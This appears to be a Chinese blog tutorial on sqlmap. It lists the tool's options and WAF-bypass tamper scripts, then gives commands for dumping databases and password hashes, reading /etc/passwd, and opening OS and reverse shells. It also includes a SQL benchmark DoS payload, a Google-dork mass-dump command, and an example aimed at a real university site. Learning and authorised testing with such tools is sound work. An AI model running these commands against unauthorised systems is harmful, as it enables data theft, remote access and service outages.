sqlmap使用總結

安裝

git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev

options選項

–version 顯示程序的版本號並退出
-h, –help 顯示此幫助消息並退出
-v VERBOSE 詳細級別:0-6(默認爲1)

Target(目標):
以下至少需要設置其中一個選項,設置目標 URL。
-d DIRECT 直接連接到數據庫。
-u URL, –url=URL 目標 URL。
-l LIST 從 Burp 或 WebScarab 代理的日誌中解析目標。
-r REQUESTFILE 從一個文件中載入 HTTP 請求。
-g GOOGLEDORK 處理 Google dork 的結果作爲目標 URL。
-c CONFIGFILE 從 INI 配置文件中加載選項。

Request(請求)::
這些選項可以用來指定如何連接到目標URL。
–data=DATA 通過 POST 發送的數據字符串
–cookie=COOKIE HTTP Cookie 頭
–cookie-urlencode URL 編碼生成的 cookie 注入
–drop-set-cookie 忽略響應的 Set –Cookie 頭信息
–user-agent=AGENT 指定 HTTP User –Agent 頭
–random-agent 使用隨機選定的 HTTP User-Agent 頭
–referer=REFERER 指定 HTTP Referer 頭
–headers=HEADERS 換行分開,加入其他的 HTTP 頭
–auth-type=ATYPE HTTP 身份驗證類型(基本,摘要或NTLM)(Basic, Digest or NTLM)
–auth-cred=ACRED HTTP 身份驗證憑據(用戶名:密碼)
–auth-cert=ACERT HTTP 認證證書(key_file,cert_file)
–proxy=PROXY 使用 HTTP 代理連接到目標 URL
–proxy-cred=PCRED HTTP 代理身份驗證憑據(用戶名:密碼)
–ignore-proxy 忽略系統默認的 HTTP 代理
–delay=DELAY 在每個 HTTP 請求之間的延遲時間,單位爲秒
–timeout=TIMEOUT 等待連接超時的時間(默認爲30 秒)
–retries=RETRIES 連接超時後重新連接的時間(默認3)
–scope=SCOPE 從所提供的代理日誌中過濾器目標的正則表達式
–safe-url=SAFURL 在測試過程中經常訪問的 url 地址
–safe-freq=SAFREQ 兩次訪問之間測試請求,給出安全的 URL

Optimization(優化):
這些選項可用於優化 sqlmap.py 的性能。
-o 開啓所有優化開關
–predict-output 預測常見的查詢輸出
–keep-alive 使用持久的 HTTP(S) 連接
–null-connection 從沒有實際的 HTTP 響應體中檢索頁面長度
–threads=THREADS 最大的 HTTP(S) 請求併發量(默認爲1)

Injection(注入):
這些選項可以用來指定測試哪些參數,提供自定義的注入 payloads 和可選篡改腳本。
-p TESTPARAMETER 可測試的參數
–dbms=DBMS 強制後端的 DBMS 爲此值
–os=OS 強制後端的 DBMS 操作系統爲這個值
–prefix=PREFIX 注入 payload 字符串前綴
–suffix=SUFFIX 注入 payload 字符串後綴
–tamper=TAMPER 使用給定的腳本篡改注入數據
–tamper 通過編碼繞過 WEB 防火牆(WAF)sqlmap.py 默認用 char()
–tamper 插件所在目錄\sqlmap-dev\tamper

  1. apostrophemask.py 用UTF-8全角字符替換單引號字符
  2. apostrophenullencode.py 用非法雙字節unicode字符替換單引號字符
  3. appendnullbyte.py 在payload末尾添加空字符編碼
  4. base64encode.py 對給定的payload全部字符使用Base64編碼
  5. between.py 分別用“NOT BETWEEN 0 AND #”替換大於號“>”,“BETWEEN # AND #”替換等於號“=”
  6. bluecoat.py 在SQL語句之後用有效的隨機空白符替換空格符,隨後用“LIKE”替換等於號“=”
  7. chardoubleencode.py 對給定的payload全部字符使用雙重URL編碼(不處理已經編碼的字符)
  8. charencode.py 對給定的payload全部字符使用URL編碼(不處理已經編碼的字符)
  9. charunicodeencode.py 對給定的payload的非編碼字符使用Unicode URL編碼(不處理已經編碼的字符)
  10. concat2concatws.py 用“CONCAT_WS(MID(CHAR(0), 0, 0), A, B)”替換像“CONCAT(A, B)”的實例
  11. equaltolike.py 用“LIKE”運算符替換全部等於號“=”
  12. greatest.py 用“GREATEST”函數替換大於號“>”
  13. halfversionedmorekeywords.py 在每個關鍵字之前添加MySQL註釋
  14. ifnull2ifisnull.py 用“IF(ISNULL(A), B, A)”替換像“IFNULL(A, B)”的實例
  15. lowercase.py 用小寫值替換每個關鍵字字符
  16. modsecurityversioned.py 用註釋包圍完整的查詢
  17. modsecurityzeroversioned.py 用當中帶有數字零的註釋包圍完整的查詢
  18. multiplespaces.py 在SQL關鍵字周圍添加多個空格
  19. nonrecursivereplacement.py 用representations替換預定義SQL關鍵字,適用於過濾器
  20. overlongutf8.py 轉換給定的payload當中的所有字符
  21. percentage.py 在每個字符之前添加一個百分號
  22. randomcase.py 隨機轉換每個關鍵字字符的大小寫
  23. randomcomments.py 向SQL關鍵字中插入隨機註釋
  24. securesphere.py 添加經過特殊構造的字符串
  25. sp_password.py 向payload末尾添加“sp_password” for automatic obfuscation from DBMS logs
  26. space2comment.py 用“/**/”替換空格符
  27. space2dash.py 用破折號註釋符“–”其次是一個隨機字符串和一個換行符替換空格符
  28. space2hash.py 用磅註釋符“#”其次是一個隨機字符串和一個換行符替換空格符
  29. space2morehash.py 用磅註釋符“#”其次是一個隨機字符串和一個換行符替換空格符
  30. space2mssqlblank.py 用一組有效的備選字符集當中的隨機空白符替換空格符
  31. space2mssqlhash.py 用磅註釋符“#”其次是一個換行符替換空格符
  32. space2mysqlblank.py 用一組有效的備選字符集當中的隨機空白符替換空格符
  33. space2mysqldash.py 用破折號註釋符“–”其次是一個換行符替換空格符
  34. space2plus.py 用加號“+”替換空格符
  35. space2randomblank.py 用一組有效的備選字符集當中的隨機空白符替換空格符
  36. unionalltounion.py 用“UNION SELECT”替換“UNION ALL SELECT”
  37. unmagicquotes.py 用一個多字節組合%bf%27和末尾通用註釋一起替換空格符
  38. varnish.py 添加一個HTTP頭“X-originating-IP”來繞過WAF
  39. versionedkeywords.py 用MySQL註釋包圍每個非函數關鍵字
  40. versionedmorekeywords.py 用MySQL註釋包圍每個關鍵字
  41. xforwardedfor.py 添加一個僞造的HTTP頭“X-Forwarded-For”來繞過WAF

Detection(檢測):
這些選項可以用來指定在 SQL 盲注時如何解析和比較 HTTP 響應頁面的內容。
–level=LEVEL 執行測試的等級(1-5,默認爲 1)
–risk=RISK 執行測試的風險(0-3,默認爲 1)
–string=STRING 查詢有效時在頁面匹配字符串
–regexp=REGEXP 查詢有效時在頁面匹配正則表達式
–text-only 僅基於文本內容比較網頁

這些選項可用於調整具體的 SQL 注入測試。
–technique=TECH SQL 注入技術測試(默認 BEUST)
Techniques(技巧):
–technique /*測試指定注入類型\使用的技術
不加參數默認測試所有注入技術:
B: 基於布爾的 SQL 盲注
E: 基於顯錯 sql 注入
U: 基於 UNION 注入
S: 疊層 sql 注入
T: 基於時間盲注

–time-sec=TIMESEC DBMS 響應的延遲時間(默認爲 5 秒)
–union-cols=UCOLS 定列範圍用於測試 UNION 查詢注入
–union-char=UCHAR 用於暴力猜解列數的字符

Fingerprint(指紋):
-f, –fingerprint 執行檢查廣泛的 DBMS 版本指紋

Enumeration(枚舉):
這些選項可以用來列舉後端數據庫管理系統的信息、表中的結構和數據。此外,您還可以運行您自己的 SQL 語句。
-b, –banner 檢索數據庫管理系統的標識
–current-user 檢索數據庫管理系統當前用戶
–current-db 檢索數據庫管理系統當前數據庫
–is-dba 檢測 DBMS 當前用戶是否 DBA
–users 枚舉數據庫管理系統用戶
–passwords 枚舉數據庫管理系統用戶密碼哈希
–privileges 枚舉數據庫管理系統用戶的權限
–roles 枚舉數據庫管理系統用戶的角色
–dbs 枚舉數據庫管理系統數據庫
–tables 枚舉 DBMS 數據庫中的表
–columns 枚舉 DBMS 數據庫表列
–dump 轉儲數據庫管理系統的數據庫中的表項
–dump-all 轉儲所有的 DBMS 數據庫表中的條目
–search 搜索列,表和/或數據庫名稱
-D DB 要進行枚舉的數據庫名
-T TBL 要進行枚舉的數據庫表
-C COL 要進行枚舉的數據庫列
-U USER 用來進行枚舉的數據庫用戶
–exclude-sysdbs 枚舉表時排除系統數據庫
–start=LIMITSTART 第一個查詢輸出進入檢索
–stop=LIMITSTOP 最後查詢的輸出進入檢索
–first=FIRSTCHAR 第一個查詢輸出字的字符檢索
–last=LASTCHAR 最後查詢的輸出字字符檢索
–sql-query=QUERY 要執行的 SQL 語句
–sql-shell 提示交互式 SQL 的 shell

Brute force(蠻力):
這些選項可以被用來運行蠻力檢查。
–common-tables 檢查存在共同表
–common-columns 檢查存在共同列

User-defined function injection(用戶自定義函數注入):
這些選項可以用來創建用戶自定義函數。
–udf-inject 注入用戶自定義函數
–shared-lib=SHLIB 共享庫的本地路徑

File system access(訪問文件系統):
這些選項可以被用來訪問後端數據庫管理系統的底層文件系統。
–file-read=RFILE 從後端的數據庫管理系統文件系統讀取文件
–file-write=WFILE 編輯後端的數據庫管理系統文件系統上的本地文件
–file-dest=DFILE 後端的數據庫管理系統寫入文件的絕對路徑

Operating system access(操作系統訪問):
這些選項可以用於訪問後端數據庫管理系統的底層操作系統。
–os-cmd=OSCMD 執行操作系統命令
–os-shell 交互式的操作系統的 shell
–os-pwn 獲取一個 OOB shell,meterpreter 或 VNC
–os-smbrelay 一鍵獲取一個 OOB shell,meterpreter 或 VNC
–os-bof 存儲過程緩衝區溢出利用
–priv-esc 數據庫進程用戶權限提升
–msf-path=MSFPATH Metasploit Framework 本地的安裝路徑
–tmp-path=TMPPATH 遠程臨時文件目錄的絕對路徑

Windows 註冊表訪問:
這些選項可以被用來訪問後端數據庫管理系統Windows 註冊表。
–reg-read 讀一個Windows 註冊表項值
–reg-add 寫一個Windows 註冊表項值數據
–reg-del 刪除Windows 註冊表鍵值
–reg-key=REGKEY Windows 註冊表鍵
–reg-value=REGVAL Windows 註冊表項值
–reg-data=REGDATA Windows 註冊表鍵值數據
–reg-type=REGTYPE Windows 註冊表項值類型

General(一般):
這些選項可以用來設置一些一般的工作參數。
-t TRAFFICFILE 記錄所有 HTTP 流量到一個文本文件中
-s SESSIONFILE 保存和恢復檢索會話文件的所有數據
–flush-session 刷新當前目標的會話文件
–fresh-queries 忽略在會話文件中存儲的查詢結果
–eta 顯示每個輸出的預計到達時間
–update 更新 SqlMap
–save file 保存選項到 INI 配置文件
–batch 從不詢問用戶輸入,使用所有默認配置。

Miscellaneous(雜項):
–beep 發現 SQL 注入時提醒
–check-payload IDS 對注入 payloads 的檢測測試
–cleanup sqlmap.py 具體的 UDF 和表清理 DBMS
–forms 對目標 URL 的解析和測試形式
–gpage=GOOGLEPAGE 從指定的頁碼使用谷歌 dork 結果
–page-rank Google dork 結果顯示網頁排名(PR)
–parse-errors 從響應頁面解析數據庫管理系統的錯誤消息
–replicate 複製轉儲的數據到一個 sqlite3 數據庫
–tor 使用默認的 Tor(Vidalia/ Privoxy/ Polipo)代理地址
–wizard 給初級用戶的簡單向導界面

基礎用法

sqlmap.py sqlmap -u “http://www.xxx.com" //查是否有注入,一些基本信息

sqlmap.py -u “http://www.xxx.com" –dbs //枚舉數據庫

sqlmap.py sqlmap -u “http://www.xxx.com" –tables //表名枚舉

sqlmap.py sqlmap -u “http://www.xxx.com" –columns -T 數據庫表名 //字段枚舉

sqlmap.py sqlmap -u “http://www.xxx.com" –dump -T 數據庫表名 -C 字段1,字段2,字段3

sqlmap.py -u “http://www.xxx.com" –dump -D 數據庫名 -T 表名 -C “字段名1,字段名2,字段名3”

初級用法

sqlmap.py -u “http://url/news?id=1” –dbs /查詢是什麼數據庫
sqlmap.py -u “http://url/news?id=1” –current-db /獲取當前數據庫名稱
sqlmap.py -u “http://url/news?id=1” –current-user /獲取當前用戶名稱
sqlmap.py -u “http://url/news?id=1” -D DataName –tables /獲取 DataName 數據庫的表
sqlmap.py -u “http://url/news?id=1” –columns -T “tablename” users-D “db_name” -v 0 /*列字段

sqlmap.py -u “http://url/news?id=1” -D DataName –T TableNamen –C “admin,password” –dump -v 0 /獲取字段數據
sqlmap.py -u “http://url/news?id=1” –dbms “Mysql” /指定數據庫類型
sqlmap.py -u “http://url/news?id=1” –users /列數據庫用戶
sqlmap.py -u “http://url/news?id=1” –passwords /獲取數據庫用戶密碼
sqlmap.py -u “http://url/news?id=1” –passwords -U root -v 0 /列出指定用戶數據庫密碼
sqlmap.py -u “http://url/news?id=1” –dump -C “password,user,id” -T “tablename” -D “db_name” –start 1 –stop 20 /列出指定字段,列出 20 條
sqlmap.py -u “http://url/news?id=1” –dump-all -v 0 /列出所有數據庫所有表
sqlmap.py -u “http://url/news?id=1” –privileges /查看權限
sqlmap.py -u “http://url/news?id=1” –privileges -U root /查看指定用戶權限
sqlmap.py -u “http://url/news?id=1” –is-dba -v 1 /是否是數據庫管理員
sqlmap.py -u “http://url/news?id=1” –roles /枚舉數據庫用戶角色
sqlmap.py -u “http://url/news?id=1” –udf-inject /導入用戶自定義函數(獲取 系統權限!)
sqlmap.py -u “http://url/news?id=1” –dump-all –exclude-sysdbs -v 0 /列出當前庫所有表
sqlmap.py -u “http://url/news?id=1” –union-cols /union 查詢表記錄
sqlmap.py -u “http://url/news?id=1” –cookie “COOKIE_VALUE” /cookie 注入
sqlmap.py -u “http://url/news?id=1” -b(–banner) /獲取 banner 信息
sqlmap.py -u “http://url/news?id=1” –data “id=3” /post 注入
sqlmap.py -u “http://url/news?id=1” -v 1 -f /指紋判別數據庫類型
sqlmap.py -u “http://url/news?id=1” –proxy “http://127.0.0.1:8118” /代理注入
sqlmap.py -u “http://url/news?id=1” –string “STRING_ON_TRUE_PAGE” /指定關鍵詞
sqlmap.py -u “http://url/news?id=1” –sql-shell /執行指定 sql 命令
sqlmap.py -u “http://url/news?id=1” –file /etc/passwd
sqlmap.py -u “http://url/news?id=1” –os-cmd=whoami /執行系統命令
sqlmap.py -u “http://url/news?id=1” –os-shell /系統交互 shell
sqlmap.py -u “http://url/news?id=1” –os-pwn /反彈 shell
sqlmap.py -u “http://url/news?id=1” –reg-read /讀取 win 系統註冊表
sqlmap.py -u “http://url/news?id=1” –dbs-o “sqlmap.log”/保存進度
sqlmap.py -u “http://url/news?id=1” –dbs -o “sqlmap.log” –resume /*恢復 已保存進度

高級用法

cookie

1–level 2 枚舉強度
2–cookie “id=9”
在ASP中,request對象獲取客戶端提交數據常用的是get和post兩種方式,同時request對象可以不通過集合來獲得數據,即直接使用”request(“name”)”. 但它效率低下,容易出錯,當我們省略具體的集合名稱時,asp是按QueryString(get),Form(post),Cookie,Severvariable,集合的順序來搜索的.cookie是保存在客戶端的一個文本文件,可以進行修改,這樣一來,就可以利用Request.cookie方式來提交變量的值,從而利用系統的漏洞進行注入攻擊

表單

表單枚舉
sqlmap.py -u “http://www.xxx.com" –forms

指定表單數據
sqlmap.py -u “http://www.xxx.com" –data “tfUName=1&UPass=1”

burpsuite抓包與構造 request請求

sqlmap.py -r search_test.py -p tfUPass

交互

./sqlmap.py -u “http://www.xxx.com” --os-cmd “ipconfig”

./sqlmap.py -u “http://www.xxx.com” --os-shell

./sqlmap.py -u “http://www.xxx.com” --os-pwn

./sqlmap.py -u “http://www.xxx.com” --sql-shell

僞靜態

“http://sfl.fzu.edu.cn/index.php/Index/view/id/40.html"

./sqlmap.py -u “http://sfl.fzu.edu.cn/index.php/Index/view/id/40*.html"

Google hacking

-p name /多個參數如 index.php?n_id=1&name=2&data=2020 我們想指定name參數進行注入
sqlmap.py -g “site:xxxxx.com inurl:php?id=” –dump-all –batch /google 搜索注入點自動跑出所有字段,需保證 google.com能正常訪問

在 sql shell中執行

使用特定sql導致數據庫報錯停止運行

DoS Attack

select benchmark(99999999999,0x70726f62616e646f70726f62616e646f70726f62616e646f)

WAF bypass

–batch Never ask for user input, use the default behaviour
–tamper=TAMPER Use given script(s) for tampering injection data
常見encoder: space2hash.py, space2morehash.py, base64encode.py, charencode.py

示例

./sqlmap.py -u “http://www.xxx.com" -v 3 –dbs –batch –tamper “space2hash.py”

權限查看

–privileges Enumerate DBMS users privileges
示例
./sqlmap.py -u “http://www.xxx.com" –privileges

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章